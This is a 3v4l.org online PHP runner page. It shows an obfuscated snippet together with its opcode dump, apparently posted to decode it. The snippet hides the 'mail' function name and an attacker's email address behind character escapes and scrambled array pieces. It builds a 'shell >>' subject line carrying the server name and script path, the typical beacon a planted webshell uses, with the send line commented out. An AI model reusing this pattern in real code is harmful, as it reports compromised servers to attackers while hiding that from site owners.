3v4l.org

run code in 300+ PHP versions simultaneously
<?php $x0b="\x6da\x69l"; $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); $ee = $o[2].$o[3].$o[1].$o[4].$o[0]; printf("%s\n", $ee); //$send = @$x0b($ee,$sub,$ms);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/6lhT0
function name:  (null)
number of ops:  25
compiled vars:  !0 = $x0b, !1 = $ms, !2 = $sub, !3 = $o, !4 = $ee
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'mail'
    3     1        FETCH_R                      global              ~6      '_SERVER'
          2        FETCH_DIM_R                                      ~7      ~6, 'SERVER_NAME'
          3        FETCH_R                      global              ~8      '_SERVER'
          4        FETCH_DIM_R                                      ~9      ~8, 'SCRIPT_NAME'
          5        CONCAT                                           ~10     ~7, ~9
          6        ASSIGN                                                   !1, ~10
    4     7        CONCAT                                           ~12     'shell+%3E%3E+%3A+', !1
          8        ASSIGN                                                   !2, ~12
    5     9        ASSIGN                                                   !3, <array>
    6    10        FETCH_DIM_R                                      ~15     !3, 2
         11        FETCH_DIM_R                                      ~16     !3, 3
         12        CONCAT                                           ~17     ~15, ~16
         13        FETCH_DIM_R                                      ~18     !3, 1
         14        CONCAT                                           ~19     ~17, ~18
         15        FETCH_DIM_R                                      ~20     !3, 4
         16        CONCAT                                           ~21     ~19, ~20
         17        FETCH_DIM_R                                      ~22     !3, 0
         18        CONCAT                                           ~23     ~21, ~22
         19        ASSIGN                                                   !4, ~23
    7    20        INIT_FCALL                                               'printf'
         21        SEND_VAL                                                 '%25s%0A'
         22        SEND_VAR                                                 !4
         23        DO_ICALL                                                 
    8    24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
192.82 ms | 1395 KiB | 15 Q